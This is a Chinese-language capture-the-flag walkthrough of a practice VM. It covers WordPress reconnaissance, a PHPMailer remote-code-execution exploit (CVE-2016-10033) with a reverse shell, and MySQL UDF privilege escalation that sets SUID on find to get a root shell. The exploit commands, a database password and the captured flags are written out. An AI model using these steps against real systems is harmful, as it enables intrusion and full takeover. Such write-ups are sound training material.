sudo arp-scan -l

1

首先查找靶机的地址,访问192.168.253.61

2

这个站有wordpress并且是apache的站

用nmap扫一下全端口nmap -p- -A 192.168.253.61

3

问了ai关于111端口

rpcbind 服务,通常用于远程过程调用(RPC)。它的主要功能是将 RPC 请求映射到实际提供服务的程序。

nikto -host 192.168.253.61 -p 80看下80端口具体有什么

4

扫描目录通常有2个工具,一个是dirb一个是dirsearch,区别在于前者可以指定字典轻度扫描,后者是深度扫描。在扫描速度上dirb>dirsearch 在扫描深度上dirb<dirsearch

用dirsearch深度扫描一下目录 dirsearch -u 192.168.215.63,并且一般只用看状态码200就行

5

用wpscan扫描一下Wordpress的漏洞

wpscan –url 192.168.215.61/wordpress -e u,vp,vt –plugins-detection mixed

发现了wordpress的版本,发现了2个用户名,没有发现任何插件和主题。在wpscan扫描出的更新页面中发现了一张flag3的图片,同时也在readmi发现了flag1

ok,不做过多周旋,直接找最后的shell,先前用目录扫描工具扫到一个目录/vendor/README.md 这里面有调用github,也有phpmailer

6

7

我联想到 CI/CD流程,我们是否能在代码仓库中,控制对应的 CI 管道配置文件,修改 CI 配置文件达到执行命令的目的,那么我们就要去搜索相应的有没有 POC 或者 EXP ; POC 是验证漏洞, EXP 是利用漏洞,我们要利用此漏洞寻找 EXP

发现版本号是5.2.16,PHPMailer < 5.2.18版本存在安全漏洞,可使未经身份验证的远程攻击者在Web服务器用户上下文中执行任意代码,远程控制目标web应用。

这个漏洞利用其实挺简单的,就是在发Email中插入shell

通过searchspolit PHPMailer,使用CVE 2016-10033

然后searchsploit -p 40974.py找到位置,cp出来,改一点东西

8

kali监听一下,然后访问url/contact.php(发邮件的)就能生成shell.php 访问之后就能反弹

9

现在需要提权,有一个新的提权方法,MySQL-UDF提权 UDF(user defind function)用户自定义函数,通过添加新函数,对MySQL的功能进行扩充。调用方式与一般系统自带的函数相同,例如user(),version()等函数。

udf 文件后缀在windows与linux系统下分别为dll与so,即动态链接库文件,由C、C++编写。以下是提权:

locate 1518.c

cp /usr/share/exploitdb/exploits/linux/local/1518.c .

5)在kail本地生成so文件,将文件上传到靶机中。

gcc -g -c 1518.c

gcc -g -shared -o yugong.so 1518.o -lc

-g 生成调试信息

-c 编译(二进制)

-shared 创建一个动态链接库,输入文件是源文件,汇编文件或者目标文件

-o 执行命令后的文件名

-lc -l 库 -c 库名

6)开始进行udf提权操作,首先需要进入数据库中。

mysql -uroot -pR@v3nSecurity

show databases;

use mysql;

#进入数据库创建数据表yugong

create table yugong(line blob);

插入数据文件:

insert into yugong values(load_file(‘/tmp/yugong.so’));

yugong 表成功插入 二进制数据,然后利用dumpfile函数把文件导出,outfile多行导出,dumpfile一行导出

outfile会有特殊函数的转换,而dumpfile是原数据导出

#新建存储函数:

select*from yugong into dumpfile ‘/usr/lib/mysql/plugin/yugong.so’;

创建自定义函数 do_system ,类型是integwer。别名(soname)文件名字,然后查询函数是否创建成功:

create function do_system returns integer soname ‘yugong.so’;

创建自定义函数 do_system,类型是integer,别名是(soname)文件名字,

#查询函数是否创建成功

select * from mysql.func;

#调用do_system函数来给find命令所有者的suid权限,使其可以执行root命令:

select do_system(‘chmod u+s /usr/bin/find’);

7)出现了 0代表执行成功。退出然后执行命令。

执行find命令

使用find执行 shell

touch yugong

find yugong -exec “/bin/sh” \

或者:find yugong -exec “id” \

cd /root

cat flag4.txt

flag4{df2bc5e951d91581467bb9a2a8ff4425}